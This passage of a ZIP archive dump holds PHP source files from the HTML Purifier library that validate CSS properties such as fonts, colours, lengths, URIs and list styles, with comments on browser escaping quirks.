$token = $context->get('CurrentToken', true);
if ($token && $token->name == $this->element) {
return false;
}
return $this->def->validate($string, $config, $context);
}
}
// vim: et sw=4 sts=4
PK j�$Z^��_ _ ; htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ListStyle.phpnu �[��� <?php
/**
* Validates shorthand CSS property list-style.
* @warning Does not support url tokens that have internal spaces.
*/
class HTMLPurifier_AttrDef_CSS_ListStyle extends HTMLPurifier_AttrDef
{
/**
* Local copy of validators.
* @type HTMLPurifier_AttrDef[]
* @note See HTMLPurifier_AttrDef_CSS_Font::$info for a similar impl.
*/
protected $info;
/**
* @param HTMLPurifier_Config $config
*/
public function __construct($config)
{
$def = $config->getCSSDefinition();
$this->info['list-style-type'] = $def->info['list-style-type'];
$this->info['list-style-position'] = $def->info['list-style-position'];
$this->info['list-style-image'] = $def->info['list-style-image'];
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
// regular pre-processing
$string = $this->parseCDATA($string);
if ($string === '') {
return false;
}
// assumes URI doesn't have spaces in it
$bits = explode(' ', strtolower($string)); // bits to process
$caught = array();
$caught['type'] = false;
$caught['position'] = false;
$caught['image'] = false;
$i = 0; // number of catches
$none = false;
foreach ($bits as $bit) {
if ($i >= 3) {
return;
} // optimization bit
if ($bit === '') {
continue;
}
foreach ($caught as $key => $status) {
if ($status !== false) {
continue;
}
$r = $this->info['list-style-' . $key]->validate($bit, $config, $context);
if ($r === false) {
continue;
}
if ($r === 'none') {
if ($none) {
continue;
} else {
$none = true;
}
if ($key == 'image') {
continue;
}
}
$caught[$key] = $r;
$i++;
break;
}
}
if (!$i) {
return false;
}
$ret = array();
// construct type
if ($caught['type']) {
$ret[] = $caught['type'];
}
// construct image
if ($caught['image']) {
$ret[] = $caught['image'];
}
// construct position
if ($caught['position']) {
$ret[] = $caught['position'];
}
if (empty($ret)) {
return false;
}
return implode(' ', $ret);
}
}
// vim: et sw=4 sts=4
PK j�$Z��� � < htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Percentage.phpnu �[��� <?php
/**
* Validates a Percentage as defined by the CSS spec.
*/
class HTMLPurifier_AttrDef_CSS_Percentage extends HTMLPurifier_AttrDef
{
/**
* Instance to defer number validation to.
* @type HTMLPurifier_AttrDef_CSS_Number
*/
protected $number_def;
/**
* @param bool $non_negative Whether to forbid negative values
*/
public function __construct($non_negative = false)
{
$this->number_def = new HTMLPurifier_AttrDef_CSS_Number($non_negative);
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = $this->parseCDATA($string);
if ($string === '') {
return false;
}
$length = strlen($string);
if ($length === 1) {
return false;
}
if ($string[$length - 1] !== '%') {
return false;
}
$number = substr($string, 0, $length - 1);
$number = $this->number_def->validate($number, $config, $context);
if ($number === false) {
return false;
}
return "$number%";
}
}
// vim: et sw=4 sts=4
PK j�$Z�<ͫF F D htmlpurifier/library/HTMLPurifier/AttrDef/CSS/BackgroundPosition.phpnu �[��� <?php
/* W3C says:
[ // adjective and number must be in correct order, even if
// you could switch them without introducing ambiguity.
// some browsers support that syntax
[
<percentage> | <length> | left | center | right
]
[
<percentage> | <length> | top | center | bottom
]?
] |
[ // this signifies that the vertical and horizontal adjectives
// can be arbitrarily ordered, however, there can only be two,
// one of each, or none at all
[
left | center | right
] ||
[
top | center | bottom
]
]
top, left = 0%
center, (none) = 50%
bottom, right = 100%
*/
/* QuirksMode says:
keyword + length/percentage must be ordered correctly, as per W3C
Internet Explorer and Opera, however, support arbitrary ordering. We
should fix it up.
Minor issue though, not strictly necessary.
*/
// control freaks may appreciate the ability to convert these to
// percentages or something, but it's not necessary
/**
* Validates the value of background-position.
*/
class HTMLPurifier_AttrDef_CSS_BackgroundPosition extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_AttrDef_CSS_Length
*/
protected $length;
/**
* @type HTMLPurifier_AttrDef_CSS_Percentage
*/
protected $percentage;
public function __construct()
{
$this->length = new HTMLPurifier_AttrDef_CSS_Length();
$this->percentage = new HTMLPurifier_AttrDef_CSS_Percentage();
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = $this->parseCDATA($string);
$bits = explode(' ', $string);
$keywords = array();
$keywords['h'] = false; // left, right
$keywords['v'] = false; // top, bottom
$keywords['ch'] = false; // center (first word)
$keywords['cv'] = false; // center (second word)
$measures = array();
$i = 0;
$lookup = array(
'top' => 'v',
'bottom' => 'v',
'left' => 'h',
'right' => 'h',
'center' => 'c'
);
foreach ($bits as $bit) {
if ($bit === '') {
continue;
}
// test for keyword
$lbit = ctype_lower($bit) ? $bit : strtolower($bit);
if (isset($lookup[$lbit])) {
$status = $lookup[$lbit];
if ($status == 'c') {
if ($i == 0) {
$status = 'ch';
} else {
$status = 'cv';
}
}
$keywords[$status] = $lbit;
$i++;
}
// test for length
$r = $this->length->validate($bit, $config, $context);
if ($r !== false) {
$measures[] = $r;
$i++;
}
// test for percentage
$r = $this->percentage->validate($bit, $config, $context);
if ($r !== false) {
$measures[] = $r;
$i++;
}
}
if (!$i) {
return false;
} // no valid values were caught
$ret = array();
// first keyword
if ($keywords['h']) {
$ret[] = $keywords['h'];
} elseif ($keywords['ch']) {
$ret[] = $keywords['ch'];
$keywords['cv'] = false; // prevent re-use: center = center center
} elseif (count($measures)) {
$ret[] = array_shift($measures);
}
if ($keywords['v']) {
$ret[] = $keywords['v'];
} elseif ($keywords['cv']) {
$ret[] = $keywords['cv'];
} elseif (count($measures)) {
$ret[] = array_shift($measures);
}
if (empty($ret)) {
return false;
}
return implode(' ', $ret);
}
}
// vim: et sw=4 sts=4
PK j�$Z�LӍ
5 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/URI.phpnu �[��� <?php
/**
* Validates a URI in CSS syntax, which uses url('http://example.com')
* @note While theoretically speaking a URI in a CSS document could
* be non-embedded, as of CSS2 there is no such usage so we're
* generalizing it. This may need to be changed in the future.
* @warning Since HTMLPurifier_AttrDef_CSS blindly uses semicolons as
* the separator, you cannot put a literal semicolon in
* in the URI. Try percent encoding it, in that case.
*/
class HTMLPurifier_AttrDef_CSS_URI extends HTMLPurifier_AttrDef_URI
{
public function __construct()
{
parent::__construct(true); // always embedded
}
/**
* @param string $uri_string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($uri_string, $config, $context)
{
// parse the URI out of the string and then pass it onto
// the parent object
$uri_string = $this->parseCDATA($uri_string);
if (strpos($uri_string, 'url(') !== 0) {
return false;
}
$uri_string = substr($uri_string, 4);
if (strlen($uri_string) == 0) {
return false;
}
$new_length = strlen($uri_string) - 1;
if ($uri_string[$new_length] != ')') {
return false;
}
$uri = trim(substr($uri_string, 0, $new_length));
if (!empty($uri) && ($uri[0] == "'" || $uri[0] == '"')) {
$quote = $uri[0];
$new_length = strlen($uri) - 1;
if ($uri[$new_length] !== $quote) {
return false;
}
$uri = substr($uri, 1, $new_length - 1);
}
$uri = $this->expandCSSEscape($uri);
$result = parent::validate($uri, $config, $context);
if ($result === false) {
return false;
}
// extra sanity check; should have been done by URI
$result = str_replace(array('"', "\\", "\n", "\x0c", "\r"), "", $result);
// suspicious characters are ()'; we're going to percent encode
// them for safety.
$result = str_replace(array('(', ')', "'"), array('%28', '%29', '%27'), $result);
// there's an extra bug where ampersands lose their escaping on
// an innerHTML cycle, so a very unlucky query parameter could
// then change the meaning of the URL. Unfortunately, there's
// not much we can do about that...
return "url(\"$result\")";
}
}
// vim: et sw=4 sts=4
PK j�$ZA�o= = D htmlpurifier/library/HTMLPurifier/AttrDef/CSS/ImportantDecorator.phpnu �[��� <?php
/**
* Decorator which enables !important to be used in CSS values.
*/
class HTMLPurifier_AttrDef_CSS_ImportantDecorator extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_AttrDef
*/
public $def;
/**
* @type bool
*/
public $allow;
/**
* @param HTMLPurifier_AttrDef $def Definition to wrap
* @param bool $allow Whether or not to allow !important
*/
public function __construct($def, $allow = false)
{
$this->def = $def;
$this->allow = $allow;
}
/**
* Intercepts and removes !important if necessary
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
// test for ! and important tokens
$string = trim($string);
$is_important = false;
// :TODO: optimization: test directly for !important and ! important
if (strlen($string) >= 9 && substr($string, -9) === 'important') {
$temp = rtrim(substr($string, 0, -9));
// use a temp, because we might want to restore important
if (strlen($temp) >= 1 && substr($temp, -1) === '!') {
$string = rtrim(substr($temp, 0, -1));
$is_important = true;
}
}
$string = $this->def->validate($string, $config, $context);
if ($this->allow && $is_important) {
$string .= ' !important';
}
return $string;
}
}
// vim: et sw=4 sts=4
PK j�$Z�mn� 8 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Filter.phpnu �[��� <?php
/**
* Microsoft's proprietary filter: CSS property
* @note Currently supports the alpha filter. In the future, this will
* probably need an extensible framework
*/
class HTMLPurifier_AttrDef_CSS_Filter extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_AttrDef_Integer
*/
protected $intValidator;
public function __construct()
{
$this->intValidator = new HTMLPurifier_AttrDef_Integer();
}
/**
* @param string $value
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($value, $config, $context)
{
$value = $this->parseCDATA($value);
if ($value === 'none') {
return $value;
}
// if we looped this we could support multiple filters
$function_length = strcspn($value, '(');
$function = trim(substr($value, 0, $function_length));
if ($function !== 'alpha' &&
$function !== 'Alpha' &&
$function !== 'progid:DXImageTransform.Microsoft.Alpha'
) {
return false;
}
$cursor = $function_length + 1;
$parameters_length = strcspn($value, ')', $cursor);
$parameters = substr($value, $cursor, $parameters_length);
$params = explode(',', $parameters);
$ret_params = array();
$lookup = array();
foreach ($params as $param) {
list($key, $value) = explode('=', $param);
$key = trim($key);
$value = trim($value);
if (isset($lookup[$key])) {
continue;
}
if ($key !== 'opacity') {
continue;
}
$value = $this->intValidator->validate($value, $config, $context);
if ($value === false) {
continue;
}
$int = (int)$value;
if ($int > 100) {
$value = '100';
}
if ($int < 0) {
$value = '0';
}
$ret_params[] = "$key=$value";
$lookup[$key] = true;
}
$ret_parameters = implode(',', $ret_params);
$ret_function = "$function($ret_parameters)";
return $ret_function;
}
}
// vim: et sw=4 sts=4
PK j�$Z�k�H H 7 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Color.phpnu �[��� <?php
/**
* Validates Color as defined by CSS.
*/
class HTMLPurifier_AttrDef_CSS_Color extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_AttrDef_CSS_AlphaValue
*/
protected $alpha;
public function __construct()
{
$this->alpha = new HTMLPurifier_AttrDef_CSS_AlphaValue();
}
/**
* @param string $color
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($color, $config, $context)
{
static $colors = null;
if ($colors === null) {
$colors = $config->get('Core.ColorKeywords');
}
$color = trim($color);
if ($color === '') {
return false;
}
$lower = strtolower($color);
if (isset($colors[$lower])) {
return $colors[$lower];
}
if (preg_match('#(rgb|rgba|hsl|hsla)\(#', $color, $matches) === 1) {
$length = strlen($color);
if (strpos($color, ')') !== $length - 1) {
return false;
}
// get used function : rgb, rgba, hsl or hsla
$function = $matches[1];
$parameters_size = 3;
$alpha_channel = false;
if (substr($function, -1) === 'a') {
$parameters_size = 4;
$alpha_channel = true;
}
/*
* Allowed types for values :
* parameter_position => [type => max_value]
*/
$allowed_types = array(
1 => array('percentage' => 100, 'integer' => 255),
2 => array('percentage' => 100, 'integer' => 255),
3 => array('percentage' => 100, 'integer' => 255),
);
$allow_different_types = false;
if (strpos($function, 'hsl') !== false) {
$allowed_types = array(
1 => array('integer' => 360),
2 => array('percentage' => 100),
3 => array('percentage' => 100),
);
$allow_different_types = true;
}
$values = trim(str_replace($function, '', $color), ' ()');
$parts = explode(',', $values);
if (count($parts) !== $parameters_size) {
return false;
}
$type = false;
$new_parts = array();
$i = 0;
foreach ($parts as $part) {
$i++;
$part = trim($part);
if ($part === '') {
return false;
}
// different check for alpha channel
if ($alpha_channel === true && $i === count($parts)) {
$result = $this->alpha->validate($part, $config, $context);
if ($result === false) {
return false;
}
$new_parts[] = (string)$result;
continue;
}
if (substr($part, -1) === '%') {
$current_type = 'percentage';
} else {
$current_type = 'integer';
}
if (!array_key_exists($current_type, $allowed_types[$i])) {
return false;
}
if (!$type) {
$type = $current_type;
}
if ($allow_different_types === false && $type != $current_type) {
return false;
}
$max_value = $allowed_types[$i][$current_type];
if ($current_type == 'integer') {
// Return value between range 0 -> $max_value
$new_parts[] = (int)max(min($part, $max_value), 0);
} elseif ($current_type == 'percentage') {
$new_parts[] = (float)max(min(rtrim($part, '%'), $max_value), 0) . '%';
}
}
$new_values = implode(',', $new_parts);
$color = $function . '(' . $new_values . ')';
} else {
// hexadecimal handling
if ($color[0] === '#') {
$hex = substr($color, 1);
} else {
$hex = $color;
$color = '#' . $color;
}
$length = strlen($hex);
if ($length !== 3 && $length !== 6) {
return false;
}
if (!ctype_xdigit($hex)) {
return false;
}
}
return $color;
}
}
// vim: et sw=4 sts=4
PK j�$Z�,F� < htmlpurifier/library/HTMLPurifier/AttrDef/CSS/AlphaValue.phpnu �[��� <?php
class HTMLPurifier_AttrDef_CSS_AlphaValue extends HTMLPurifier_AttrDef_CSS_Number
{
public function __construct()
{
parent::__construct(false); // opacity is non-negative, but we will clamp it
}
/**
* @param string $number
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public function validate($number, $config, $context)
{
$result = parent::validate($number, $config, $context);
if ($result === false) {
return $result;
}
$float = (float)$result;
if ($float < 0.0) {
$result = '0';
}
if ($float > 1.0) {
$result = '1';
}
return $result;
}
}
// vim: et sw=4 sts=4
PK j�$ZJ��� � 7 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Ident.phpnu �[��� <?php
/**
* Validates based on {ident} CSS grammar production
*/
class HTMLPurifier_AttrDef_CSS_Ident extends HTMLPurifier_AttrDef
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = trim($string);
// early abort: '' and '0' (strings that convert to false) are invalid
if (!$string) {
return false;
}
$pattern = '/^(-?[A-Za-z_][A-Za-z_\-0-9]*)$/';
if (!preg_match($pattern, $string)) {
return false;
}
return $string;
}
}
// vim: et sw=4 sts=4
PK j�$Z� � 4 4 ; htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Composite.phpnu �[��� <?php
/**
* Allows multiple validators to attempt to validate attribute.
*
* Composite is just what it sounds like: a composite of many validators.
* This means that multiple HTMLPurifier_AttrDef objects will have a whack
* at the string. If one of them passes, that's what is returned. This is
* especially useful for CSS values, which often are a choice between
* an enumerated set of predefined values or a flexible data type.
*/
class HTMLPurifier_AttrDef_CSS_Composite extends HTMLPurifier_AttrDef
{
/**
* List of objects that may process strings.
* @type HTMLPurifier_AttrDef[]
* @todo Make protected
*/
public $defs;
/**
* @param HTMLPurifier_AttrDef[] $defs List of HTMLPurifier_AttrDef objects
*/
public function __construct($defs)
{
$this->defs = $defs;
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
foreach ($this->defs as $i => $def) {
$result = $this->defs[$i]->validate($string, $config, $context);
if ($result !== false) {
return $result;
}
}
return false;
}
}
// vim: et sw=4 sts=4
PK j�$Z���r�$ �$ < htmlpurifier/library/HTMLPurifier/AttrDef/CSS/FontFamily.phpnu �[��� <?php
/**
* Validates a font family list according to CSS spec
*/
class HTMLPurifier_AttrDef_CSS_FontFamily extends HTMLPurifier_AttrDef
{
protected $mask = null;
public function __construct()
{
$this->mask = '_- ';
for ($c = 'a'; $c <= 'z'; $c++) {
$this->mask .= $c;
}
for ($c = 'A'; $c <= 'Z'; $c++) {
$this->mask .= $c;
}
for ($c = '0'; $c <= '9'; $c++) {
$this->mask .= $c;
} // cast-y, but should be fine
// special bytes used by UTF-8
for ($i = 0x80; $i <= 0xFF; $i++) {
// We don't bother excluding invalid bytes in this range,
// because the our restriction of well-formed UTF-8 will
// prevent these from ever occurring.
$this->mask .= chr($i);
}
/*
PHP's internal strcspn implementation is
O(length of string * length of mask), making it inefficient
for large masks. However, it's still faster than
preg_match 8)
for (p = s1;;) {
spanp = s2;
do {
if (*spanp == c || p == s1_end) {
return p - s1;
}
} while (spanp++ < (s2_end - 1));
c = *++p;
}
*/
// possible optimization: invert the mask.
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
static $generic_names = array(
'serif' => true,
'sans-serif' => true,
'monospace' => true,
'fantasy' => true,
'cursive' => true
);
$allowed_fonts = $config->get('CSS.AllowedFonts');
// assume that no font names contain commas in them
$fonts = explode(',', $string);
$final = '';
foreach ($fonts as $font) {
$font = trim($font);
if ($font === '') {
continue;
}
// match a generic name
if (isset($generic_names[$font])) {
if ($allowed_fonts === null || isset($allowed_fonts[$font])) {
$final .= $font . ', ';
}
continue;
}
// match a quoted name
if ($font[0] === '"' || $font[0] === "'") {
$length = strlen($font);
if ($length <= 2) {
continue;
}
$quote = $font[0];
if ($font[$length - 1] !== $quote) {
continue;
}
$font = substr($font, 1, $length - 2);
}
$font = $this->expandCSSEscape($font);
// $font is a pure representation of the font name
if ($allowed_fonts !== null && !isset($allowed_fonts[$font])) {
continue;
}
if (ctype_alnum($font) && $font !== '') {
// very simple font, allow it in unharmed
$final .= $font . ', ';
continue;
}
// bugger out on whitespace. form feed (0C) really
// shouldn't show up regardless
$font = str_replace(array("\n", "\t", "\r", "\x0C"), ' ', $font);
// Here, there are various classes of characters which need
// to be treated differently:
// - Alphanumeric characters are essentially safe. We
// handled these above.
// - Spaces require quoting, though most parsers will do
// the right thing if there aren't any characters that
// can be misinterpreted
// - Dashes rarely occur, but they fairly unproblematic
// for parsing/rendering purposes.
// The above characters cover the majority of Western font
// names.
// - Arbitrary Unicode characters not in ASCII. Because
// most parsers give little thought to Unicode, treatment
// of these codepoints is basically uniform, even for
// punctuation-like codepoints. These characters can
// show up in non-Western pages and are supported by most
// major browsers, for example: "ＭＳ 明朝" is a
// legitimate font-name
// <http://ja.wikipedia.org/wiki/MS_明朝>. See
// the CSS3 spec for more examples:
// <http://www.w3.org/TR/2011/WD-css3-fonts-20110324/localizedfamilynames.png>
// You can see live samples of these on the Internet:
// <http://www.google.co.jp/search?q=font-family+ＭＳ+明朝|ゴシック>
// However, most of these fonts have ASCII equivalents:
// for example, 'MS Mincho', and it's considered
// professional to use ASCII font names instead of
// Unicode font names. Thanks Takeshi Terada for
// providing this information.
// The following characters, to my knowledge, have not been
// used to name font names.
// - Single quote. While theoretically you might find a
// font name that has a single quote in its name (serving
// as an apostrophe, e.g. Dave's Scribble), I haven't
// been able to find any actual examples of this.
// Internet Explorer's cssText translation (which I
// believe is invoked by innerHTML) normalizes any
// quoting to single quotes, and fails to escape single
// quotes. (Note that this is not IE's behavior for all
// CSS properties, just some sort of special casing for
// font-family). So a single quote *cannot* be used
// safely in the font-family context if there will be an
// innerHTML/cssText translation. Note that Firefox 3.x
// does this too.
// - Double quote. In IE, these get normalized to
// single-quotes, no matter what the encoding. (Fun
// fact, in IE8, the 'content' CSS property gained
// support, where they special cased to preserve encoded
// double quotes, but still translate unadorned double
// quotes into single quotes.) So, because their
// fixpoint behavior is identical to single quotes, they
// cannot be allowed either. Firefox 3.x displays
// single-quote style behavior.
// - Backslashes are reduced by one (so \\ -> \) every
// iteration, so they cannot be used safely. This shows
// up in IE7, IE8 and FF3
// - Semicolons, commas and backticks are handled properly.
// - The rest of the ASCII punctuation is handled properly.
// We haven't checked what browsers do to unadorned
// versions, but this is not important as long as the
// browser doesn't /remove/ surrounding quotes (as IE does
// for HTML).
//
// With these results in hand, we conclude that there are
// various levels of safety:
// - Paranoid: alphanumeric, spaces and dashes(?)
// - International: Paranoid + non-ASCII Unicode
// - Edgy: Everything except quotes, backslashes
// - NoJS: Standards compliance, e.g. sod IE. Note that
// with some judicious character escaping (since certain
// types of escaping doesn't work) this is theoretically
// OK as long as innerHTML/cssText is not called.
// We believe that international is a reasonable default
// (that we will implement now), and once we do more
// extensive research, we may feel comfortable with dropping
// it down to edgy.
// Edgy: alphanumeric, spaces, dashes, underscores and Unicode. Use of
// str(c)spn assumes that the string was already well formed
// Unicode (which of course it is).
if (strspn($font, $this->mask) !== strlen($font)) {
continue;
}
// Historical:
// In the absence of innerHTML/cssText, these ugly
// transforms don't pose a security risk (as \\ and \"
// might--these escapes are not supported by most browsers).
// We could try to be clever and use single-quote wrapping
// when there is a double quote present, but I have choosen
// not to implement that. (NOTE: you can reduce the amount
// of escapes by one depending on what quoting style you use)
// $font = str_replace('\\', '\\5C ', $font);
// $font = str_replace('"', '\\22 ', $font);
// $font = str_replace("'", '\\27 ', $font);
// font possibly with spaces, requires quoting
$final .= "'$font', ";
}
$final = rtrim($final, ', ');
if ($final === '') {
return false;
}
return $final;
}
}
// vim: et sw=4 sts=4
PK j�$Z 3 �i i 8 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Length.phpnu �[��� <?php
/**
* Represents a Length as defined by CSS.
*/
class HTMLPurifier_AttrDef_CSS_Length extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_Length|string
*/
protected $min;
/**
* @type HTMLPurifier_Length|string
*/
protected $max;
/**
* @param HTMLPurifier_Length|string $min Minimum length, or null for no bound. String is also acceptable.
* @param HTMLPurifier_Length|string $max Maximum length, or null for no bound. String is also acceptable.
*/
public function __construct($min = null, $max = null)
{
$this->min = $min !== null ? HTMLPurifier_Length::make($min) : null;
$this->max = $max !== null ? HTMLPurifier_Length::make($max) : null;
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = $this->parseCDATA($string);
// Optimizations
if ($string === '') {
return false;
}
if ($string === '0') {
return '0';
}
if (strlen($string) === 1) {
return false;
}
$length = HTMLPurifier_Length::make($string);
if (!$length->isValid()) {
return false;
}
if ($this->min) {
$c = $length->compareTo($this->min);
if ($c === false) {
return false;
}
if ($c < 0) {
return false;
}
}
if ($this->max) {
$c = $length->compareTo($this->max);
if ($c === false) {
return false;
}
if ($c > 0) {
return false;
}
}
return $length->toString();
}
}
// vim: et sw=4 sts=4
PK j�$Z�b��� � 6 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Font.phpnu �[��� <?php
/**
* Validates shorthand CSS property font.
*/
class HTMLPurifier_AttrDef_CSS_Font extends HTMLPurifier_AttrDef
{
/**
* Local copy of validators
* @type HTMLPurifier_AttrDef[]
* @note If we moved specific CSS property definitions to their own
* classes instead of having them be assembled at run time by
* CSSDefinition, this wouldn't be necessary. We'd instantiate
* our own copies.
*/
protected $info = array();
/**
* @param HTMLPurifier_Config $config
*/
public function __construct($config)
{
$def = $config->getCSSDefinition();
$this->info['font-style'] = $def->info['font-style'];
$this->info['font-variant'] = $def->info['font-variant'];
$this->info['font-weight'] = $def->info['font-weight'];
$this->info['font-size'] = $def->info['font-size'];
$this->info['line-height'] = $def->info['line-height'];
$this->info['font-family'] = $def->info['font-family'];
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
static $system_fonts = array(
'caption' => true,
'icon' => true,
'menu' => true,
'message-box' => true,
'small-caption' => true,
'status-bar' => true
);
// regular pre-processing
$string = $this->parseCDATA($string);
if ($string === '') {
return false;
}
// check if it's one of the keywords
$lowercase_string = strtolower($string);
if (isset($system_fonts[$lowercase_string])) {
return $lowercase_string;
}
$bits = explode(' ', $string); // bits to process
$stage = 0; // this indicates what we're looking for
$caught = array(); // which stage 0 properties have we caught?
$stage_1 = array('font-style', 'font-variant', 'font-weight');
$final = ''; // output
for ($i = 0, $size = count($bits); $i < $size; $i++) {
if ($bits[$i] === '') {
continue;
}
switch ($stage) {
case 0: // attempting to catch font-style, font-variant or font-weight
foreach ($stage_1 as $validator_name) {
if (isset($caught[$validator_name])) {
continue;
}
$r = $this->info[$validator_name]->validate(
$bits[$i],
$config,
$context
);
if ($r !== false) {
$final .= $r . ' ';
$caught[$validator_name] = true;
break;
}
}
// all three caught, continue on
if (count($caught) >= 3) {
$stage = 1;
}
if ($r !== false) {
break;
}
case 1: // attempting to catch font-size and perhaps line-height
$found_slash = false;
if (strpos($bits[$i], '/') !== false) {
list($font_size, $line_height) =
explode('/', $bits[$i]);
if ($line_height === '') {
// ooh, there's a space after the slash!
$line_height = false;
$found_slash = true;
}
} else {
$font_size = $bits[$i];
$line_height = false;
}
$r = $this->info['font-size']->validate(
$font_size,
$config,
$context
);
if ($r !== false) {
$final .= $r;
// attempt to catch line-height
if ($line_height === false) {
// we need to scroll forward
for ($j = $i + 1; $j < $size; $j++) {
if ($bits[$j] === '') {
continue;
}
if ($bits[$j] === '/') {
if ($found_slash) {
return false;
} else {
$found_slash = true;
continue;
}
}
$line_height = $bits[$j];
break;
}
} else {
// slash already found
$found_slash = true;
$j = $i;
}
if ($found_slash) {
$i = $j;
$r = $this->info['line-height']->validate(
$line_height,
$config,
$context
);
if ($r !== false) {
$final .= '/' . $r;
}
}
$final .= ' ';
$stage = 2;
break;
}
return false;
case 2: // attempting to catch font-family
$font_family =
implode(' ', array_slice($bits, $i, $size - $i));
$r = $this->info['font-family']->validate(
$font_family,
$config,
$context
);
if ($r !== false) {
$final .= $r . ' ';
// processing completed successfully
return rtrim($final);
}
return false;
}
}
return false;
}
}
// vim: et sw=4 sts=4
PK j�$ZD� 87 7 8 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Border.phpnu �[��� <?php
/**
* Validates the border property as defined by CSS.
*/
class HTMLPurifier_AttrDef_CSS_Border extends HTMLPurifier_AttrDef
{
/**
* Local copy of properties this property is shorthand for.
* @type HTMLPurifier_AttrDef[]
*/
protected $info = array();
/**
* @param HTMLPurifier_Config $config
*/
public function __construct($config)
{
$def = $config->getCSSDefinition();
$this->info['border-width'] = $def->info['border-width'];
$this->info['border-style'] = $def->info['border-style'];
$this->info['border-top-color'] = $def->info['border-top-color'];
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = $this->parseCDATA($string);
$string = $this->mungeRgb($string);
$bits = explode(' ', $string);
$done = array(); // segments we've finished
$ret = ''; // return value
foreach ($bits as $bit) {
foreach ($this->info as $propname => $validator) {
if (isset($done[$propname])) {
continue;
}
$r = $validator->validate($bit, $config, $context);
if ($r !== false) {
$ret .= $r . ' ';
$done[$propname] = true;
break;
}
}
}
return rtrim($ret);
}
}
// vim: et sw=4 sts=4
PK j�$Z�KYD D 8 htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Number.phpnu �[��� <?php
/**
* Validates a number as defined by the CSS spec.
*/
class HTMLPurifier_AttrDef_CSS_Number extends HTMLPurifier_AttrDef
{
/**
* Indicates whether or not only positive values are allowed.
* @type bool
*/
protected $non_negative = false;
/**
* @param bool $non_negative indicates whether negatives are forbidden
*/
public function __construct($non_negative = false)
{
$this->non_negative = $non_negative;
}
/**
* @param string $number
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string|bool
* @warning Some contexts do not pass $config, $context. These
* variables should not be used without checking HTMLPurifier_Length
*/
public function validate($number, $config, $context)
{
$number = $this->parseCDATA($number);
if ($number === '') {
return false;
}
if ($number === '0') {
return '0';
}
$sign = '';
switch ($number[0]) {
case '-':
if ($this->non_negative) {
return false;
}
$sign = '-';
case '+':
$number = substr($number, 1);
}
if (ctype_digit($number)) {
$number = ltrim($number, '0');
return $number ? $sign . $number : '0';
}
// Period is the only non-numeric character allowed
if (strpos($number, '.') === false) {
return false;
}
list($left, $right) = explode('.', $number, 2);
if ($left === '' && $right === '') {
return false;
}
if ($left !== '' && !ctype_digit($left)) {
return false;
}
$left = ltrim($left, '0');
$right = rtrim($right, '0');
if ($right === '') {
return $left ? $sign . $left : '0';
} elseif (!ctype_digit($right)) {
return false;
}
return $sign . $left . '.' . $right;
}
}
// vim: et sw=4 sts=4
PK j�$Zw�8� � @ htmlpurifier/library/HTMLPurifier/AttrDef/CSS/TextDecoration.phpnu �[��� <?php
/**
* Validates the value for the CSS property text-decoration
* @note This class could be generalized into a version that acts sort of
* like Enum except you can compound the allowed values.
*/
class HTMLPurifier_AttrDef_CSS_TextDecoration extends HTMLPurifier_AttrDef
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
static $allowed_values = array(
'line-through' => true,
'overline' => true,
'underline' => true,
);
$string = strtolower($this->parseCDATA($string));
if ($string === 'none') {
return $string;
}
$parts = explode(' ', $string);
$final = '';
foreach ($parts as $part) {
if (isset($allowed_values[$part])) {
$final .= $part . ' ';
}
}
$final = rtrim($final);
if ($final === '') {
return false;
}
return $final;
}
}
// vim: et sw=4 sts=4
PK j�$Z�yx� � 2 htmlpurifier/library/HTMLPurifier/AttrDef/Text.phpnu �[��� <?php
/**
* Validates arbitrary text according to the HTML spec.
*/
class HTMLPurifier_AttrDef_Text extends HTMLPurifier_AttrDef
{
/**
* @param string $string
